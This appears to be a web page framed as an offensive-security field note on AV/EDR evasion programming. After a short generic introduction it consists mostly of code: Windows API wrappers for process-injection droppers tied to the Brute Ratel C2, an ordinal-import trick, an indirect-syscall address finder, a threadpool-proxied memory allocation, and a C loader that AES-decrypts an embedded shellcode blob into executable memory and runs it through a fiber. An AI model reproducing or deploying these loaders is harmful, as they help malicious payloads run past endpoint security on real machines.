Exploit // Build and Adapt

Av/Edr Evasion Programming

Av/Edr Evasion Programming is presented here as a field note for offensive security work. The emphasis is on attack surface, validation logic, common failure patterns, operator choices and the public references worth keeping nearby during a live assessment.

field noteassessment referencepublic sources

Why it matters in practice

Av/Edr Evasion Programming matters because it shapes how an operator scopes the work, chooses validation steps, prioritizes evidence and explains risk. The point is not to accumulate trivia; it is to understand which control boundary is in play and how that boundary can fail under realistic pressure.

This note keeps av/edr evasion programming tied to offensive workflow: what to observe, what to prove, what usually goes wrong, and which references remain useful once an assessment moves from planning into active validation.

Primary coverage

The items below mark the main workflows, concepts, tools and validation themes that repeatedly matter when working through av/edr evasion programming.

  • Programming av/edr evasion concepts
  • Av & edr evasion diagram
  • Av & edr evasion diagram (stammt by github, siehe link)
  • Which language fits the task?
  • C# create process dropper for brute ratel (program.cs)
  • Win32.cs (wrapper for nativ win32 lib)
  • C# create remote thread dropper for brute ratel (program.cs)
  • C# ntmapviewofsection dropper for brute ratel (program.cs)
  • Native.cs (native library wrapper)
  • C# queueuserapc dropper for brute ratel (program.cs)

Selected public references

using System;
using System.Runtime.InteropServices;

namespace CreateThread
{
    internal class Win32
    {
        [DllImport("kernel32.dll")]
        public static extern IntPtr VirtualAlloc(
            IntPtr lpAddress,
            uint dwSize,
            AllocationType flAllocationType,
            MemoryProtection flProtect);

        [DllImport("kernel32.dll")]
        public static extern IntPtr CreateThread(
            IntPtr lpThreadAttributes,
            uint dwStackSize,
            IntPtr lpStartAddress,
            IntPtr lpParameter,
            uint dwCreationFlags,
            out IntPtr lpThreadId);

        [DllImport("kernel32.dll")]
        public static extern bool VirtualProtect(
            IntPtr lpAddress,
            uint dwSize,
            MemoryProtection flNewProtect,
            out MemoryProtection lpflOldProtect);

        [DllImport("kernel32.dll")]
        public static extern uint WaitForSingleObject(
            IntPtr hHandle,
            uint dwMilliseconds);

        [Flags]
        public enum AllocationType
        {
            Commit = 0x1000,
            Reserve = 0x2000,
            Decommit = 0x4000,
            Release = 0x8000,
            Reset = 0x80000,
            Physical = 0x400000,
            TopDown = 0x100000,
            WriteWatch = 0x200000,
            LargePages = 0x20000000
        }

        [Flags]
        public enum MemoryProtection
        {
            Execute = 0x10,
            ExecuteRead = 0x20,
            ExecuteReadWrite = 0x40,
            ExecuteWriteCopy = 0x80,
            NoAccess = 0x01,
            ReadOnly = 0x02,
            ReadWrite = 0x04,
            WriteCopy = 0x08,
            GuardModifierflag = 0x100,
            NoCacheModifierflag = 0x200,
            WriteCombineModifierflag = 0x400
        }
    }
}
using System;
using System.Runtime.InteropServices;

namespace CreateRemoteThread
{
    internal class Win32
    {
        [DllImport("kernel32.dll")]
        public static extern IntPtr VirtualAllocEx(
            IntPtr hProcess,
            IntPtr lpAddress,
            uint dwSize,
            AllocationType flAllocationType,
            MemoryProtection flProtect);

        [DllImport("kernel32.dll")]
        public static extern bool WriteProcessMemory(
            IntPtr hProcess,
            IntPtr lpBaseAddress,
            byte[] lpBuffer,
            int nSize,
            out IntPtr lpNumberOfBytesWritten);

        [DllImport("kernel32.dll")]
        public static extern bool VirtualProtectEx(
            IntPtr hProcess,
            IntPtr lpAddress,
            uint dwSize,
            MemoryProtection flNewProtect,
            out MemoryProtection lpflOldProtect);

        [DllImport("kernel32.dll")]
        public static extern IntPtr CreateRemoteThread(
            IntPtr hProcess,
            IntPtr lpThreadAttributes,
            uint dwStackSize,
            IntPtr lpStartAddress,
            IntPtr lpParameter,
            uint dwCreationFlags,
            out IntPtr lpThreadId);

        [Flags]
        public enum AllocationType
        {
            Commit = 0x1000,
            Reserve = 0x2000,
            Decommit = 0x4000,
            Release = 0x8000,
            Reset = 0x80000,
            Physical = 0x400000,
            TopDown = 0x100000,
            WriteWatch = 0x200000,
            LargePages = 0x20000000
        }

        [Flags]
        public enum MemoryProtection
        {
            Execute = 0x10,
            ExecuteRead = 0x20,
            ExecuteReadWrite = 0x40,
            ExecuteWriteCopy = 0x80,
            NoAccess = 0x01,
            ReadOnly = 0x02,
            ReadWrite = 0x04,
            WriteCopy = 0x08,
            GuardModifierflag = 0x100,
            NoCacheModifierflag = 0x200,
            WriteCombineModifierflag = 0x400
        }
    }
}
using System;
using System.Runtime.InteropServices;

namespace NtMapViewOfSection
{
    internal class Native
    {
        [DllImport("ntdll.dll")]
        public static extern uint NtCreateSection(
            ref IntPtr SectionHandle,
            uint DesiredAccess,
            IntPtr ObjectAttributes,
            ref ulong MaximumSize,
            uint SectionPageProtection,
            uint AllocationAttributes,
            IntPtr FileHandle);

        [DllImport("ntdll.dll")]
        public static extern uint NtMapViewOfSection(
            IntPtr SectionHandle,
            IntPtr ProcessHandle,
            out IntPtr BaseAddress,
            IntPtr ZeroBits,
            IntPtr CommitSize,
            IntPtr SectionOffset,
            out ulong ViewSize,
            uint InheritDisposition,
            uint AllocationType,
            uint Win32Protect);

        [DllImport("ntdll.dll")]
        public static extern uint NtCreateThreadEx(
            out IntPtr threadHandle,
            uint desiredAccess,
            IntPtr objectAttributes,
            IntPtr processHandle,
            IntPtr startAddress,
            IntPtr parameter,
            bool createSuspended,
            int stackZeroBits,
            int sizeOfStack,
            int maximumStackSize,
            IntPtr attributeList);
    }
}
using System;
using System.Runtime.InteropServices;

namespace QueueUserAPC
{
    internal class Win32
    {
        [StructLayout(LayoutKind.Sequential)]
        public struct STARTUPINFO
        {
            public int cb;
            public IntPtr lpReserved;
            public IntPtr lpDesktop;
            public IntPtr lpTitle;
            public int dwX;
            public int dwY;
            public int dwXSize;
            public int dwYSize;
            public int dwXCountChars;
            public int dwYCountChars;
            public int dwFillAttribute;
            public int dwFlags;
            public short wShowWindow;
            public short cbReserved2;
            public IntPtr lpReserved2;
            public IntPtr hStdInput;
            public IntPtr hStdOutput;
            public IntPtr hStdError;
        }

        [StructLayout(LayoutKind.Sequential)]
        public struct PROCESS_INFORMATION
        {
            public IntPtr hProcess;
            public IntPtr hThread;
            public int dwProcessId;
            public int dwThreadId;
        }

        [StructLayout(LayoutKind.Sequential)]
        public struct SECURITY_ATTRIBUTES
        {
            public int nLength;
            public IntPtr lpSecurityDescriptor;
            public bool bInheritHandle;
        }

        [DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
        public static extern bool CreateProcessW(
            string lpApplicationName,
            string lpCommandLine,
            ref SECURITY_ATTRIBUTES lpProcessAttributes,
            ref SECURITY_ATTRIBUTES lpThreadAttributes,
            bool bInheritHandles,
            uint dwCreationFlags,
            IntPtr lpEnvironment,
            string lpCurrentDirectory,
            ref STARTUPINFO lpStartupInfo,
            out PROCESS_INFORMATION lpProcessInformation);

        [DllImport("kernel32.dll")]
        public static extern IntPtr VirtualAllocEx(
            IntPtr hProcess,
            IntPtr lpAddress,
            uint dwSize,
            AllocationType flAllocationType,
            MemoryProtection flProtect);

        [DllImport("kernel32.dll")]
        public static extern bool WriteProcessMemory(
            IntPtr hProcess,
            IntPtr lpBaseAddress,
            byte[] lpBuffer,
            int nSize,
            out IntPtr lpNumberOfBytesWritten);

        [DllImport("kernel32.dll")]
        public static extern bool VirtualProtectEx(
            IntPtr hProcess,
            IntPtr lpAddress,
            uint dwSize,
            MemoryProtection flNewProtect,
            out MemoryProtection lpflOldProtect);

        [DllImport("kernel32.dll")]
        public static extern uint QueueUserAPC(
            IntPtr pfnAPC,
            IntPtr hThread,
            uint dwData);

        [DllImport("kernel32.dll")]
        public static extern uint ResumeThread(
            IntPtr hThread);

        [Flags]
        public enum AllocationType
        {
            Commit = 0x1000,
            Reserve = 0x2000,
            Decommit = 0x4000,
            Release = 0x8000,
            Reset = 0x80000,
            Physical = 0x400000,
            TopDown = 0x100000,
            WriteWatch = 0x200000,
            LargePages = 0x20000000
        }

        [Flags]
        public enum MemoryProtection
        {
            Execute = 0x10,
            ExecuteRead = 0x20,
            ExecuteReadWrite = 0x40,
            ExecuteWriteCopy = 0x80,
            NoAccess = 0x01,
            ReadOnly = 0x02,
            ReadWrite = 0x04,
            WriteCopy = 0x08,
            GuardModifierflag = 0x100,
            NoCacheModifierflag = 0x200,
            WriteCombineModifierflag = 0x400
        }
    }
}
using System;
using System.Runtime.InteropServices;

namepsace Ordinals
{

  internal class Program
  {
    [DllImport("user32.dll", EntryPoint = "#2155", CharSet = CharSet.Unicode)]

    static extern int TotallyLegitAPI(IntPtr hWnd, string lbText, string lpCaption, uint uType);

    static void Main(string[] args)
    {
      TotallyLegitAPI(IntPtr.Zero, "Hallo, ich bin eine MessageBox!", "Ordinal", 0);
    }
  }

}
public static IntPtr SC_Address(IntPtr NtApiAddress)
{
	IntPtr SyscallAddress;

#if WIN64
	byte[] syscall_code =
	{
		0x0f, 0x05, 0xc3
	};
	
	UInt32 distance_to_syscall = 0x12;
	
#else
	byte[] syscall_code =
	{
		0x0f, 0x34, 0xc3
	};
	
	UInt32 distance_to_syscall = 0xf;
#endif
	
	// Start with common offset to syscall
	var tempSyscallAddress = NtApiAddress.ToInt64() + distance_to_syscall;
	SyscallAddress = (IntPtr) tempSyscallAddress;
	byte[] AddressData = new byte[3];
	Marshal.Copy(SyscallAddress, AddressData, 0, AddressData.Length);
	if (AddressData.SequenceEqual(syscall_code)){
		return SyscallAddress;
	}
	
	long searchLimit = 512;
	long regionSize = 0;
	long pageAddress = 0;
	long currentAddress = 0;
	
	// If syscall not found, search the closest one to the current NTDLL API address byte by byte
	PE.MEMORY_BASIC_INFORMATION mem_basic_info = new PE.MEMORY_BASIC_INFORMATION();
	if(Imports.VirtualQueryEx(Imports.GetCurrentProcess(), NtApiAddress, out mem_basic_info, (uint)Marshal.SizeOf(typeof(PE.MEMORY_BASIC_INFORMATION))) != 0)
	{
		regionSize = mem_basic_info.RegionSize.ToInt64();
		pageAddress = (long)mem_basic_info.BaseAddress;
		currentAddress = NtApiAddress.ToInt64();
		searchLimit = regionSize-(currentAddress-pageAddress)-syscall_code.Length+1;
	}
	
	for (int num_jumps = 1 ; num_jumps < searchLimit ; num_jumps++){
		tempSyscallAddress = NtApiAddress.ToInt64() + num_jumps;
		SyscallAddress = (IntPtr) tempSyscallAddress;
		AddressData = new byte[3];
		Marshal.Copy(SyscallAddress, AddressData, 0, AddressData.Length);
		if (AddressData.SequenceEqual(syscall_code)){
			return SyscallAddress;
		}
	}
	return IntPtr.Zero;
}
#include <windows.h>
#include <stdio.h>

typedef NTSTATUS (NTAPI* TPALLOCWORK)(PTP_WORK* ptpWrk, PTP_WORK_CALLBACK pfnwkCallback, PVOID OptionalArg, PTP_CALLBACK_ENVIRON CallbackEnvironment);
typedef VOID (NTAPI* TPPOSTWORK)(PTP_WORK);
typedef VOID (NTAPI* TPRELEASEWORK)(PTP_WORK);

typedef struct _NTALLOCATEVIRTUALMEMORY_ARGS {
    UINT_PTR pNtAllocateVirtualMemory;   // pointer to NtAllocateVirtualMemory - rax
    HANDLE hProcess;                     // HANDLE ProcessHandle - rcx
    PVOID* address;                      // PVOID *BaseAddress - rdx; ULONG_PTR ZeroBits - 0 - r8
    PSIZE_T size;                        // PSIZE_T RegionSize - r9; ULONG AllocationType - MEM_RESERVE|MEM_COMMIT = 3000 - stack pointer
    ULONG permissions;                   // ULONG Protect - PAGE_EXECUTE_READ - 0x20 - stack pointer
} NTALLOCATEVIRTUALMEMORY_ARGS, *PNTALLOCATEVIRTUALMEMORY_ARGS;

extern VOID CALLBACK WorkCallback(PTP_CALLBACK_INSTANCE Instance, PVOID Context, PTP_WORK Work);

int main() {
    LPVOID allocatedAddress = NULL;
    SIZE_T allocatedsize = 0x1000;

    NTALLOCATEVIRTUALMEMORY_ARGS ntAllocateVirtualMemoryArgs = { 0 };
    ntAllocateVirtualMemoryArgs.pNtAllocateVirtualMemory = (UINT_PTR) GetProcAddress(GetModuleHandleA("ntdll"), "NtAllocateVirtualMemory");
    ntAllocateVirtualMemoryArgs.hProcess = (HANDLE)-1;
    ntAllocateVirtualMemoryArgs.address = &allocatedAddress;
    ntAllocateVirtualMemoryArgs.size = &allocatedsize;
    ntAllocateVirtualMemoryArgs.permissions = PAGE_EXECUTE_READ;

    FARPROC pTpAllocWork = GetProcAddress(GetModuleHandleA("ntdll"), "TpAllocWork");
    FARPROC pTpPostWork = GetProcAddress(GetModuleHandleA("ntdll"), "TpPostWork");
    FARPROC pTpReleaseWork = GetProcAddress(GetModuleHandleA("ntdll"), "TpReleaseWork");

    PTP_WORK WorkReturn = NULL;
    ((TPALLOCWORK)pTpAllocWork)(&WorkReturn, (PTP_WORK_CALLBACK)WorkCallback, &ntAllocateVirtualMemoryArgs, NULL);
    ((TPPOSTWORK)pTpPostWork)(WorkReturn);
    ((TPRELEASEWORK)pTpReleaseWork)(WorkReturn);

    WaitForSingleObject((HANDLE)-1, 0x1000);
    printf("allocatedAddress: %p\n", allocatedAddress);
    getchar();

    return 0;
}
#include <windows.h>
#include "Shellcode.h"

unsigned char my_payload[] = "\xaa\x40\xf2\x40\x31\x09\x0b\xaa\x08\xd5\x21\x8a\x67\x9c\x31\xca\x7d\x4b\x39\xd4\xf9\x7a\xa8\x28\x07\x9b\x89\x21\x24\x63\xe7\x47\x93\x7d\x3f\xd4\xfd\x90\x0a\x1f\xa9\xce\x9d\xd8\x9f\x93\xcf\x3b\xd2\x4d\xe7\x98\x14\xda\x9a\x9e\x51\x14\x38\x4f\xb4\xac\x96\x1d\xa5\x20\x1f\x40\x79\x2a\x55\x66\xed\x55\x11\x46\xff\x56\x68\xeb\x01\xc5\xe1\xe2\x53\x29\xa0\x08\xb6\xc3\xd0\x47\x1d\xd4\x1f\x45\xad\x17\xb0\xd5\xca\x36\x30\x89\x90\x38\xf8\x19\x6b\x01\xc9\x9a\x95\x6d\x1f\xe5\xef\x65\x5a\x46\xfe\x76\x76\xfd\xc5\x68\xd8\xa9\x8c\xc0\x12\x5c\x44\x54\x2e\xae\x7e\xef\x53\x14\x80\xa2\xa7\x8f\x2c\x23\x69\x9d\xb4\x09\xb8\x80\xb5\x66\x69\x9e\x68\x16\xcb\x85\x55\x0f\x11\x52\x2e\xb4\x8d\xce\x24\xc9\x59\x3e\x47\x61\x56\xfe\x70\xe3\x7b\x6c\xe1\xb6\x77\x15\x6b\x7f\xba\xe3\xb5\x39\x99\x49\xe4\x86\x46\x99\x4d\x13\x6f\x1f\xb8\x1e\x64\x9d\x31\xb0\x02\x83\x7d\xa6\xcf\x70\xd5\xcb\x34\x28\x63\x89\x34\x63\xdf\x8c\x5e\x78\xa5\x0d\xf0\x7d\x2d\x7e\x3e\x70\xea\x5e\x81\x83\x2e\x8b\xf2\x93\xe4\x70\x98\xd6\xc7\x6c\x4b\x80\x8b\x98\x33\xa8\x50\x97\x38\x3c\xae\x48\x9c\x70\xd8\xea\x85\x86\x4e\x64\xf1\xf0\xf0\xa4\x42\x31\xc8\x7a\xe2\x82\x6b\x1f\x1a\x70\x36\xe4\x80\xef\xdf\xaf\x31\xce\x54\x90";

unsigned int my_payload_len = sizeof(my_payload);

int main() {

  unsigned char key[] = "S12Testing";
  unsigned char iv[] = "\x9d\x02\x35\x3b\xa3\x4b\xec\x26\x13\x88\x58\x51\x11\x47\xa5\x98";

  PVOID f; // converted
  PVOID payload_mem; // memory buffer for payload
  PVOID payloadF; // fiber

  Shellcode sc = Shellcode(my_payload,sizeof(my_payload));

  unsigned char* payload = sc.AES_decrypt(key,iv);

  // convert main thread to fiber
  f = ConvertThreadToFiber(NULL);

  // allocate memory buffer
  payload_mem = VirtualAlloc(0, my_payload_len, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
  memcpy(payload_mem, payload, my_payload_len);

  // create a fiber that will execute payload
  payloadF = CreateFiber(NULL, (LPFIBER_START_ROUTINE)payload_mem, NULL);

  SwitchToFiber(payloadF);
  return 0;
}

Selected public references